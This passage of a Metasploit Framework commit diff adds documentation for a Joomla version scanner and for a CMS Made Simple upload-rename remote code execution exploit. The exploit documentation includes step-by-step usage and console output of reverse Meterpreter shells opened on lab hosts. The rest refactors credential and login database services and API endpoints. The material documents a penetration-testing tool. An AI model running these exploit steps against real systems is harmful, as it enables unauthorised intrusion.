Directory listing is enabled : http://192.168.2.39/components/com_contenthistory/
[+] Enumeration component (com_fields)
[++] Name: com_fields
Location : http://192.168.2.39/components/com_fields/
Directory listing is enabled : http://192.168.2.39/components/com_fields/
[+] Enumeration component (com_finder)
[++] Name: com_finder
Location : http://192.168.2.39/components/com_finder/
Directory listing is enabled : http://192.168.2.39/components/com_finder/
[+] Enumeration component (com_mailto)
[++] Name: com_mailto
Location : http://192.168.2.39/components/com_mailto/
Directory listing is enabled : http://192.168.2.39/components/com_mailto/
Installed version : 3.1
[+] Enumeration component (com_media)
[++] Name: com_media
Location : http://192.168.2.39/components/com_media/
Directory listing is enabled : http://192.168.2.39/components/com_media/
[+] Enumeration component (com_newsfeeds)
[++] Name: com_newsfeeds
Location : http://192.168.2.39/components/com_newsfeeds/
Directory listing is enabled : http://192.168.2.39/components/com_newsfeeds/
[+] Enumeration component (com_search)
[++] Name: com_search
Location : http://192.168.2.39/components/com_search/
Directory listing is enabled : http://192.168.2.39/components/com_search/
[+] Enumeration component (com_users)
[++] Name: com_users
Location : http://192.168.2.39/components/com_users/
Directory listing is enabled : http://192.168.2.39/components/com_users/
[+] Enumeration component (com_wrapper)
[++] Name: com_wrapper
Location : http://192.168.2.39/components/com_wrapper/
Directory listing is enabled : http://192.168.2.39/components/com_wrapper/
Installed version : 3.1
```

View File

@ -0,0 +1,41 @@
## Intro
This module scans for Joomla Content Management System running on a web server.
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_version
msf5 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_version) > run
[*] Server: Apache/2.4.29 (Ubuntu)
[+] Joomla version: 3.8.2
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using Joomscan
```
# joomscan -u 192.168.2.39
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.5
+---++---==[Update Date : [2018/03/13]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : KLOT
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.2.39 ...
[+] Detecting Joomla Version
[++] Joomla 3.8.2
...snip...
```

View File

@ -0,0 +1,69 @@
## Description
CMS Made Simple allows an authenticated administrator to upload a file
and rename it to have a `.php` extension. The file can then be executed
by opening the URL of the file in the `/uploads/` directory.
This module has been successfully tested on CMS Made Simple versions
2.2.5 and 2.2.7.
## Vulnerable Application
[CMS Made Simple v2.2.5](http://dev.cmsmadesimple.org/project/files/6)
## Verification Steps
1. `./msfconsole -q`
2. `use use exploit/multi/http/cmsms_upload_rename_rce`
3. `set username <username>`
4. `set password <password>`
5. `set rhosts <rhost>`
6. `run`
## Scenarios
### CMS Made Simple v2.2.5 on Ubuntu 18.04 (PHP 7.2.7, Apache 2.4.9)
```
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
username => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
password => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.123
rhosts => 172.22.222.123
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
[*] Started reverse TCP handler on 172.22.222.194:4444
[*] Sending stage (37775 bytes) to 172.22.222.123
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.123:44352) at 2018-07-17 08:41:33 -0500
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
```
### CMS Made Simple v2.2.5 on Windows 10 x64 (PHP 5.6.35, Apache 2.4.33)
```
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
username => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
password => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.175
rhosts => 172.22.222.175
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
[*] Started reverse TCP handler on 172.22.222.194:4444
[*] Sending stage (37775 bytes) to 172.22.222.175
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.175:49829) at 2018-07-17 08:46:27 -0500
meterpreter > sysinfo
Computer : WIN10
OS : Windows NT WIN10 10.0 build 17134 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```

View File

@ -20,7 +20,10 @@ module Metasploit
'stdlib.h' => ['stddef.h'],
'stdio.h' => ['stddef.h'],
'String.h' => ['stddef.h'],
'Winsock2.h' => ['stddef.h', 'Windows.h']
'Winsock2.h' => ['stddef.h', 'Windows.h'],
'rc4.h' => ['String.h', 'stdlib.h'],
'base64.h' => ['stddef.h'],
'xor.h' => ['stddef.h']
}
end

View File

@ -40,7 +40,7 @@ module Metasploit
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
# @return [Integer] The number of bytes written.
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
pe = self.compile(c_template, type)
pe = self.compile_c(c_template, type)
File.write(out_file, pe)
end

View File

@ -9,6 +9,40 @@ module CredentialDataProxy
end
end
def create_cracked_credential(opts)
begin
data_service = self.get_data_service
opts[:workspace_id] = workspace.id
opts[:private_data] = opts.delete(:password)
opts[:private_type] = :password
old_core = data_service.creds(id: opts.delete(:core_id), workspace: workspace.name).first
if old_core
opts[:originating_core_id] = old_core.id
opts[:origin_type] = :cracked_password
end
new_core = data_service.create_credential(opts)
old_core.logins.each do |login|
service = data_service.services(id: login.service_id)
data_service.create_credential_login(core: new_core, service_id: service.id, status: Metasploit::Model::Login::Status::UNTRIED)
end
new_core
rescue => e
self.log_error(e, "Problem creating cracked credential")
end
end
def create_credential_and_login(opts)
begin
data_service = self.get_data_service
core = data_service.create_credential(opts)
opts[:core] = core
login = data_service.create_credential_login(opts)
core
rescue => e
self.log_error(e, "Problem creating credential and login")
end
end
def creds(opts = {})
begin
data_service = self.get_data_service
@ -18,4 +52,23 @@ module CredentialDataProxy
self.log_error(e, "Problem retrieving credentials")
end
end
def update_credential(opts)
begin
data_service = self.get_data_service
add_opts_workspace(opts)
data_service.update_credential(opts)
rescue => e
self.log_error(e, "Problem updating credential")
end
end
def delete_credentials(opts)
begin
data_service = self.get_data_service
data_service.delete_credentials(opts)
rescue => e
self.log_error(e, "Problem deleting credentials")
end
end
end

View File

@ -15,6 +15,7 @@ module DataProxyAutoLoader
autoload :LootDataProxy, 'metasploit/framework/data_service/proxy/loot_data_proxy'
autoload :SessionEventDataProxy, 'metasploit/framework/data_service/proxy/session_event_data_proxy'
autoload :CredentialDataProxy, 'metasploit/framework/data_service/proxy/credential_data_proxy'
autoload :LoginDataProxy, 'metasploit/framework/data_service/proxy/login_data_proxy'
autoload :NmapDataProxy, 'metasploit/framework/data_service/proxy/nmap_data_proxy'
autoload :DbExportDataProxy, 'metasploit/framework/data_service/proxy/db_export_data_proxy'
autoload :DbImportDataProxy, 'metasploit/framework/data_service/proxy/db_import_data_proxy'
@ -33,6 +34,7 @@ module DataProxyAutoLoader
include LootDataProxy
include SessionEventDataProxy
include CredentialDataProxy
include LoginDataProxy
include NmapDataProxy
include DbExportDataProxy
include DbImportDataProxy

View File

@ -0,0 +1,55 @@
module LoginDataProxy
def logins(opts = {})
begin
data_service = self.get_data_service
data_service.logins(opts)
rescue => e
self.log_error(e, "Problem retrieving logins")
end
end
def create_credential_login(opts)
begin
data_service = self.get_data_service
data_service.create_credential_login(opts)
rescue => e
self.log_error(e, "Problem creating login")
end
end
def update_login(opts)
begin
data_service = self.get_data_service
data_service.update_login(opts)
rescue => e
self.log_error(e, "Problem updating login")
end
end
def invalidate_login(opts)
begin
add_opts_workspace(opts)
# Search for an existing Metasploit::Credential::Core object. It requires specific attributes.
core_opts = {}
core_opts[:workspace] = opts[:workspace]
# The creds search uses regex for username and password lookup.
# Alter the search string to only look for exact matches to avoid updating unexpected entries.
core_opts[:user] = "^#{opts.fetch(:username)}$" if opts[:username]
core_opts[:pass] = "^#{opts.fetch(:private_data)}$" if opts[:private_data]
core_opts[:ports] = [ opts.fetch(:port) ] if opts[:port]
core_opts[:host_ranges] = [ opts.fetch(:address) ] if opts[:address]
core_opts[:svcs] = [ opts.fetch(:service_name) ] if opts[:service_name]
core = creds(core_opts).first
if core
core.logins.each do |login|
login_opts = opts.slice(:access_level, :status, :last_attempted_at)
login_opts[:id] = login.id
update_login(login_opts)
end
end
rescue => e
self.log_error(e, "Problem invalidating login")
end
end
end

View File

@ -14,6 +14,7 @@ module DataServiceAutoLoader
autoload :RemoteLootDataService, 'metasploit/framework/data_service/remote/http/remote_loot_data_service'
autoload :RemoteSessionEventDataService, 'metasploit/framework/data_service/remote/http/remote_session_event_data_service'
autoload :RemoteCredentialDataService, 'metasploit/framework/data_service/remote/http/remote_credential_data_service'
autoload :RemoteLoginDataService, 'metasploit/framework/data_service/remote/http/remote_login_data_service'
autoload :RemoteNmapDataService, 'metasploit/framework/data_service/remote/http/remote_nmap_data_service'
autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service'
autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service'
@ -31,6 +32,7 @@ module DataServiceAutoLoader
include RemoteLootDataService
include RemoteSessionEventDataService
include RemoteCredentialDataService
include RemoteLoginDataService
include RemoteNmapDataService
include RemoteDbExportDataService
include RemoteVulnAttemptDataService

View File

@ -8,17 +8,31 @@ module RemoteCredentialDataService
CREDENTIAL_MDM_CLASS = 'Metasploit::Credential::Core'
def creds(opts = {})
data = self.get_data(CREDENTIAL_API_PATH, opts)
data = self.get_data(CREDENTIAL_API_PATH, nil, opts)
rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS, [])
parsed_body = JSON.parse(data.response.body)
parsed_body.each do |cred|
private_object = to_ar(cred['private_class'].constantize, cred['private'])
rv[parsed_body.index(cred)].private = private_object
if cred['private']
private_object = to_ar(cred['private']['type'].constantize, cred['private'])
rv[parsed_body.index(cred)].private = private_object
end
if cred['origin']
origin_object = to_ar(cred['origin']['type'].constantize, cred['origin'])
rv[parsed_body.index(cred)].origin = origin_object
end
end
rv
end
def create_credential(opts)
self.post_data_async(CREDENTIAL_API_PATH, opts)
json_to_mdm_object(self.post_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, []).first
end
def update_credential(opts)
json_to_mdm_object(self.put_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, []).first
end
def delete_credentials(opts)
json_to_mdm_object(self.delete_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, [])
end
end

View File

@ -0,0 +1,26 @@
require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteLoginDataService
include ResponseDataHelper
LOGIN_API_PATH = '/api/v1/logins'
# "MDM_CLASS" is a little misleading since it is not in that repo but trying to keep naming consistent across DataServices
LOGIN_MDM_CLASS = 'Metasploit::Credential::Login'
def logins(opts)
json_to_mdm_object(self.get_data(LOGIN_API_PATH, opts), LOGIN_MDM_CLASS, [])
end
def create_credential_login(opts)
json_to_mdm_object(self.post_data(LOGIN_API_PATH, opts), LOGIN_MDM_CLASS, []).first
end
def update_login(opts)
path = LOGIN_API_PATH
if opts && opts[:id]
id = opts.delete(:id)
path = "#{LOGIN_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), LOGIN_MDM_CLASS, []).first
end
end

View File

@ -5,6 +5,18 @@ require 'digest'
#
module ResponseDataHelper
def process_response(response_wrapper)
begin
if response_wrapper.expected
response_wrapper.response.body
end
rescue => e
elog "Error processing response: #{e.message}"
e.backtrace.each { |line| elog line }
end
end
#
# Converts an HTTP response to a Hash
#
@ -13,15 +25,12 @@ module ResponseDataHelper
#
def json_to_hash(response_wrapper)
begin
if response_wrapper.expected
body = response_wrapper.response.body
unless body.nil? && body.empty?
parsed_body = JSON.parse(body).deep_symbolize_keys
return parsed_body[:data]
end
body = process_response(response_wrapper)
unless body.nil? || body.empty?
return JSON.parse(body).symbolize_keys
end
rescue => e
elog "Error parsing response: #{e.message}"
elog "Error parsing response as JSON: #{e.message}"
e.backtrace.each { |line| elog line }
end
end
@ -104,6 +113,8 @@ module ResponseDataHelper
case association.macro
when :belongs_to
data.delete("#{k}_id")
# Polymorphic associations do not auto-create the 'build_model' method
next if association.options[:polymorphic]
to_ar(association.klass, v, obj.send("build_#{k}"))
obj.class_eval do
define_method("#{k}_id") { obj.send(k).id }

View File

@ -0,0 +1,18 @@
module CredentialDataService
def creds(opts)
raise 'CredentialDataService#creds is not implemented'
end
def create_credential(opts)
raise 'CredentialDataService#create_credential is not implemented'
end
def update_credential(opts)
raise 'CredentialDataService#update_credential is not implemented'
end
def delete_credential(opts)
raise 'CredentialDataService#delete_credential is not implemented'
end
end

View File

@ -0,0 +1,14 @@
module LoginDataService
def logins(opts)
raise 'LoginDataService#logins is not implemented'
end
def create_credential_login(opts)
raise 'LoginDataService#create_credential_login is not implemented'
end
def update_login(hosts)
raise 'LoginDataService#update_login is not implemented'
end
end

View File

@ -12,7 +12,7 @@ module Metasploit
#
# @return [Integer]
def self.rand_int
SecureRandom.random_number(100)
SecureRandom.random_number(100000000)
end
# Returns a random string.

View File

@ -183,6 +183,10 @@ class ReadableText
output << "Available targets:\n"
output << dump_exploit_targets(mod, indent)
# Check
output << "Check supported:\n"
output << "#{indent}#{mod.respond_to?(:check) ? 'Yes' : 'No'}\n\n"
# Options
if (mod.options.has_options?)
output << "Basic options:\n"
@ -241,6 +245,10 @@ class ReadableText
output << dump_module_actions(mod, indent)
end
# Check
output << "Check supported:\n"
output << "#{indent}#{mod.respond_to?(:check) ? 'Yes' : 'No'}\n\n"
# Options
if (mod.options.has_options?)
output << "Basic options:\n"

View File

@ -115,8 +115,8 @@ module Auxiliary
mod.setup
# Run check
mod.check
# Run check if it exists
mod.respond_to?(:check) ? mod.check : Msf::Exploit::CheckCode::Unsupported
end
#

View File

@ -185,8 +185,8 @@ module Exploit
mod.setup
# Run check
mod.check
# Run check if it exists
mod.respond_to?(:check) ? mod.check : Msf::Exploit::CheckCode::Unsupported
end
#

View File

@ -56,7 +56,7 @@ module Auxiliary::AuthBrute
#
# @yieldparam [Metasploit::Credential::Core]
def each_ntlm_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
creds = framework.db.creds(type: 'Metasploit::Credential::NTLMHash', workspace: myworkspace.name)
creds.each do |cred|
yield cred
end
@ -67,7 +67,7 @@ module Auxiliary::AuthBrute
#
# @yieldparam [Metasploit::Credential::Core]
def each_password_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
creds = framework.db.creds(type: 'Metasploit::Credential::Password', workspace: myworkspace.name)
creds.each do |cred|
yield cred
end
@ -78,7 +78,7 @@ module Auxiliary::AuthBrute
#
# @yieldparam [Metasploit::Credential::Core]
def each_ssh_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
creds = framework.db.creds(type: 'Metasploit::Credential::SSHKey', workspace: myworkspace.name)
creds.each do |cred|
yield cred
end
@ -304,18 +304,18 @@ module Auxiliary::AuthBrute
end
if framework.db.active
if datastore['DB_ALL_CREDS']
myworkspace.creds.each do |o|
credentials << [o.user, o.pass] if o.ptype =~ /password/
framework.db.creds(workspace: myworkspace.name).each do |o|
credentials << [o.public.username, o.private.data] if o.private && o.private.type =~ /password/i
end
end
if datastore['DB_ALL_USERS']
myworkspace.creds.each do |o|
users << o.user
framework.db.creds(workspace: myworkspace.name).creds.each do |o|
users << o.public.username if o.public
end
end
if datastore['DB_ALL_PASS']
myworkspace.creds.each do |o|
passwords << o.pass if o.ptype =~ /password/
framework.db.creds(workspace: myworkspace.name).creds.each do |o|
passwords << o.private.data if o.private && o.private.type =~ /password/i
end
end
end

View File

@ -32,43 +32,6 @@ module Auxiliary::Cisco
end
clear
end
def create_credential_and_login(opts={})
return nil unless active_db?
if self.respond_to?(:[]) and self[:task]
opts[:task_id] ||= self[:task].record.id
end
core = opts.fetch(:core, create_credential(opts))
access_level = opts.fetch(:access_level, nil)
last_attempted_at = opts.fetch(:last_attempted_at, nil)
status = opts.fetch(:status, Metasploit::Model::Login::Status::UNTRIED)
login_object = nil
retry_transaction do
service_object = create_credential_service(opts)
login_object = Metasploit::Credential::Login.where(core_id: core.id, service_id: service_object.id).first_or_initialize
if opts[:task_id]
login_object.tasks << Mdm::Task.find(opts[:task_id])
end
login_object.access_level = access_level if access_level
login_object.last_attempted_at = last_attempted_at if last_attempted_at
if status == Metasploit::Model::Login::Status::UNTRIED
if login_object.last_attempted_at.nil?
login_object.status = status
end
else
login_object.status = status
end
login_object.save!
end
login_object
end
def cisco_ios_config_eater(thost, tport, config)

View File

@ -9,43 +9,6 @@ module Msf
module Auxiliary::Juniper
include Msf::Auxiliary::Report
def create_credential_and_login(opts={})
return nil unless active_db?
if self.respond_to?(:[]) and self[:task]
opts[:task_id] ||= self[:task].record.id
end
core = opts.fetch(:core, create_credential(opts))
access_level = opts.fetch(:access_level, nil)
last_attempted_at = opts.fetch(:last_attempted_at, nil)
status = opts.fetch(:status, Metasploit::Model::Login::Status::UNTRIED)
login_object = nil
retry_transaction do
service_object = create_credential_service(opts)
login_object = Metasploit::Credential::Login.where(core_id: core.id, service_id: service_object.id).first_or_initialize
if opts[:task_id]
login_object.tasks << Mdm::Task.find(opts[:task_id])
end
login_object.access_level = access_level if access_level
login_object.last_attempted_at = last_attempted_at if last_attempted_at
if status == Metasploit::Model::Login::Status::UNTRIED
if login_object.last_attempted_at.nil?
login_object.status = status
end
else
login_object.status = status
end
login_object.save!
end
login_object
end
def juniper_screenos_config_eater(thost, tport, config)
# this is for the netscreen OS, which came on SSG (ie SSG5) type devices.
# It is similar to cisco, however it doesn't always put all fields we care

View File

@ -23,7 +23,7 @@ module Auxiliary::Report
def create_cracked_credential(opts={})
if active_db?
super(opts)
framework.db.create_cracked_credential(opts)
elsif !db_warning_given?
vprint_warning('No active DB -- Credential data will not be saved!')
end
@ -32,7 +32,6 @@ module Auxiliary::Report
def create_credential(opts={})
if active_db?
framework.db.create_credential(opts)
#super(opts)
elsif !db_warning_given?
vprint_warning('No active DB -- Credential data will not be saved!')
end
@ -40,7 +39,15 @@ module Auxiliary::Report
def create_credential_login(opts={})
if active_db?
super(opts)
framework.db.create_credential_login(opts)
elsif !db_warning_given?
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential_and_login(opts={})
if active_db?
framework.db.create_credential_and_login(opts)
elsif !db_warning_given?
vprint_warning('No active DB -- Credential data will not be saved!')
end
@ -48,7 +55,7 @@ module Auxiliary::Report
def invalidate_login(opts={})
if active_db?
super(opts)
framework.db.invalidate_login(opts)
elsif !db_warning_given?
vprint_warning('No active DB -- Credential data will not be saved!')
end

View File

@ -42,6 +42,7 @@ class Msf::DBManager
autoload :Import, 'msf/core/db_manager/import'
autoload :ImportMsfXml, 'msf/core/db_manager/import_msf_xml'
autoload :IPAddress, 'msf/core/db_manager/ip_address'
autoload :Login, 'msf/core/db_manager/login'
autoload :Loot, 'msf/core/db_manager/loot'
autoload :Migration, 'msf/core/db_manager/migration'
autoload :ModuleCache, 'msf/core/db_manager/module_cache'
@ -79,6 +80,7 @@ class Msf::DBManager
include Msf::DBManager::HostTag
include Msf::DBManager::Import
include Msf::DBManager::IPAddress
include Msf::DBManager::Login
include Msf::DBManager::Loot
include Msf::DBManager::Migration
include Msf::DBManager::ModuleCache

View File

@ -3,15 +3,16 @@ module Msf::DBManager::Cred
def creds(opts)
query = nil
::ActiveRecord::Base.connection_pool.with_connection {
# If we have the ID, there is no point in creating a complex query.
if opts[:id] && !opts[:id].empty?
return Array.wrap(Metasploit::Credential::Core.find(opts[:id]))
# If :id exists we're looking for a specific record, skip the other stuff
if opts[:id].present?
return Metasploit::Credential::Core.where(id: opts[:id])
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
search_term = opts.delete(:search_term)
query = Metasploit::Credential::Core.where( workspace_id: wspace.id )
query = query.includes(:private, :public, :logins).references(:private, :public, :logins)
query = query.includes(:private, :public, :logins, :realm).references(:private, :public, :logins, :realm)
query = query.includes(logins: [ :service, { service: :host } ])
if opts[:type].present?
@ -41,6 +42,15 @@ module Msf::DBManager::Cred
# filter based on host, port, or service name
query = query.where(Metasploit::Credential::Login[:id].not_eq(nil))
end
if search_term && !search_term.empty?
core_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Core, search_term, ['created_at', 'updated_at'])
public_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Public, search_term, ['created_at', 'updated_at'])
private_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Private, search_term, ['created_at', 'updated_at'])
realm_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Metasploit::Credential::Realm, search_term, ['created_at', 'updated_at'])
column_search_conditions = core_search_conditions.or(public_search_conditions).or(private_search_conditions).or(realm_search_conditions)
query = query.where(column_search_conditions)
end
}
query
end
@ -214,6 +224,67 @@ module Msf::DBManager::Cred
}
end
def update_credential(opts)
::ActiveRecord::Base.connection_pool.with_connection {
# process workspace string for update if included in opts
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
opts[:workspace] = wspace if wspace
if opts[:public]
if opts[:public][:id]
public_id = opts[:public].delete(:id)
public = Metasploit::Credential::Public.find(public_id)
public.update_attributes(opts[:public])
else
public = Metasploit::Credential::Public.where(opts[:public]).first_or_initialize
end
opts[:public] = public
end
if opts[:private]
if opts[:private][:id]
private_id = opts[:private].delete(:id)
private = Metasploit::Credential::Private.find(private_id)
private.update_attributes(opts[:private])
else
private = Metasploit::Credential::Private.where(opts[:private]).first_or_initialize
end
opts[:private] = private
end
if opts[:origin]
if opts[:origin][:id]
origin_id = opts[:origin].delete(:id)
origin = Metasploit::Credential::Origin.find(origin_id)
origin.update_attributes(opts[:origin])
else
origin = Metasploit::Credential::Origin.where(opts[:origin]).first_or_initialize
end
opts[:origin] = origin
end
id = opts.delete(:id)
Metasploit::Credential::Core.update(id, opts)
}
end
def delete_credentials(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
::ActiveRecord::Base.connection_pool.with_connection {
deleted = []
opts[:ids].each do |cred_id|
cred = Metasploit::Credential::Core.find(cred_id)
begin
deleted << cred.destroy
rescue # refs suck
elog("Forcibly deleting #{cred}")
deleted << cred.delete
end
end
return deleted
}
end
alias :report_auth :report_auth_info
alias :report_cred :report_auth_info
end

View File

@ -19,6 +19,7 @@ require 'msf/core/db_manager/http/servlet/exploit_servlet'
require 'msf/core/db_manager/http/servlet/loot_servlet'
require 'msf/core/db_manager/http/servlet/session_event_servlet'
require 'msf/core/db_manager/http/servlet/credential_servlet'
require 'msf/core/db_manager/http/servlet/login_servlet'
require 'msf/core/db_manager/http/servlet/nmap_servlet'
require 'msf/core/db_manager/http/servlet/db_export_servlet'
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
@ -43,6 +44,7 @@ class MetasploitApiApp < Sinatra::Base
register LootServlet
register SessionEventServlet
register CredentialServlet
register LoginServlet
register NmapServlet
register DbExportServlet
register VulnAttemptServlet

View File

@ -5,6 +5,7 @@ load 'documentation/api/v1/db_export_api_doc.rb'
load 'documentation/api/v1/event_api_doc.rb'
load 'documentation/api/v1/exploit_api_doc.rb'
load 'documentation/api/v1/host_api_doc.rb'
load 'documentation/api/v1/login_api_doc.rb'
load 'documentation/api/v1/loot_api_doc.rb'
load 'documentation/api/v1/msf_api_doc.rb'
load 'documentation/api/v1/nmap_api_doc.rb'
@ -46,6 +47,7 @@ module ApiDocsServlet
EventApiDoc,
ExploitApiDoc,
HostApiDoc,
LoginApiDoc,
LootApiDoc,
MsfApiDoc,
NmapApiDoc,

View File

@ -4,9 +4,15 @@ module CredentialServlet
'/api/v1/credentials'
end
def self.api_path_with_id
"#{CredentialServlet.api_path}/?:id?"
end
def self.registered(app)
app.get CredentialServlet.api_path, &get_credentials
app.post CredentialServlet.api_path, &create_credential
app.put CredentialServlet.api_path_with_id, &update_credential
app.delete CredentialServlet.api_path, &delete_credentials
end
#######
@ -17,11 +23,9 @@ module CredentialServlet
lambda {
warden.authenticate!
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
opts.merge!(sanitized_params)
data = get_db().creds(opts)
includes = [:logins, :public, :private, :realm]
data = get_db.creds(sanitized_params)
# Need to append the human attribute into the private sub-object before converting to json
# This is normally pulled from a class method from the MetasploitCredential class
response = []
@ -29,7 +33,8 @@ module CredentialServlet
json = cred.as_json(include: includes).merge('private_class' => cred.private.class.to_s)
response << json
end
set_json_data_response(response: response)
response = format_cred_json(data)
set_json_response(response)
rescue => e
set_json_error_response(error: e, code: 500)
end
@ -40,11 +45,38 @@ module CredentialServlet
lambda {
warden.authenticate!
job = lambda { |opts|
opts[:origin_type] = opts[:origin_type].to_sym
opts[:private_type] = opts[:private_type].to_sym
get_db().create_credential(opts)
opts[:origin_type] = opts[:origin_type].to_sym if opts[:origin_type]
opts[:private_type] = opts[:private_type].to_sym if opts[:private_type]
get_db.create_credential(opts)
}
exec_report_job(request, &job)
}
end
def self.update_credential
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db.update_credential(opts)
response = format_cred_json(data)
set_json_response(response.first)
rescue => e
set_error_on_response(e)
end
}
end
def self.delete_credentials
lambda {
begin
opts = parse_json_request(request, false)
data = get_db.delete_credentials(opts)
set_json_response(data)
rescue => e
set_error_on_response(e)
end
}
end
end

View File

@ -0,0 +1,73 @@
module LoginServlet
def self.api_path
'/api/v1/logins'
end
def self.api_path_with_id
"#{LoginServlet.api_path}/?:id?"
end
def self.registered(app)
app.get LoginServlet.api_path, &get_logins
app.post LoginServlet.api_path, &create_login
app.put LoginServlet.api_path_with_id, &update_login
app.delete LoginServlet.api_path, &delete_logins
end
#######
private
#######
def self.get_logins
lambda {
begin
sanitized_params = sanitize_params(params)
response = get_db.logins(sanitized_params)
set_json_response(response)
rescue => e
set_error_on_response(e)
end
}
end
def self.create_login
lambda {
begin
opts = parse_json_request(request, false)
opts[:core][:workspace] = get_db.workspaces(id: opts[:workspace_id]).first
opts[:core] = get_db.creds(opts[:core]).first
response = get_db.create_credential_login(opts)
set_json_response(response)
rescue => e
set_error_on_response(e)
end
}
end
def self.update_login
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db.update_login(opts)
set_json_response(data)
rescue => e
set_error_on_response(e)
end
}
end
def self.delete_logins
lambda {
begin
opts = parse_json_request(request, false)
data = get_db.delete_logins(opts)
set_json_response(data)
rescue => e
set_error_on_response(e)
end
}
end
end

View File

@ -81,6 +81,20 @@ module ServletHelper
params.symbolize_keys.except(:captures, :splat)
end
def format_cred_json(data)
includes = [:logins, :public, :private, :realm, :origin]
response = []
Array.wrap(data).each do |cred|
json = cred.as_json(include: includes)
json['origin'] = json['origin'].merge('type' => cred.origin.class.to_s) if cred.origin
json['public'] = json['public'].merge('type' => cred.public.type) if cred.public
json['private'] = json['private'].merge('type' => cred.private.type) if cred.private
response << json
end
response
end
# Get Warden::Proxy object from the Rack environment.
# @return [Warden::Proxy] The Warden::Proxy object from the Rack environment.
def warden
@ -92,8 +106,7 @@ module ServletHelper
def warden_options
env['warden.options']
end
#######
private
#######

View File

@ -452,10 +452,17 @@ module Msf::DBManager::Import::MetasploitFramework::XML
pass = cred.at('pass').try(:text)
pass = "" if pass == "*MASKED*"
private = create_credential_private(private_data: pass, private_type: :password)
public = create_credential_public(username: username)
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
cred_opts = {
workspace: wspace.name,
username: username,
private_data: pass,
private_type: 'Metasploit::Credential::Password',
service_name: sname,
protocol: proto,
port: port,
origin: origin
}
core = create_credential(cred_opts)
create_credential_login(core: core,
workspace_id: wspace.id,
address: hobj.address,

View File

@ -0,0 +1,35 @@
module Msf::DBManager::Login
def logins(opts)
::ActiveRecord::Base.connection_pool.with_connection {
Metasploit::Credential::Login.where(opts)
}
end
def update_login(opts)
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
opts[:workspace] = wspace if wspace
id = opts.delete(:id)
Metasploit::Credential::Login.update(id, opts)
}
end
def delete_logins(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
::ActiveRecord::Base.connection_pool.with_connection {
deleted = []
opts[:ids].each do |login_id|
login = Metasploit::Credential::Login.find(login_id)
begin
deleted << login.destroy
rescue # refs suck
elog("Forcibly deleting #{login}")
deleted << login.delete
end
end
return deleted
}
end
end

View File

@ -203,16 +203,6 @@ class Module
self.class.file_path
end
#
# Checks to see if the target is vulnerable, returning unsupported if it's
# not supported.
#
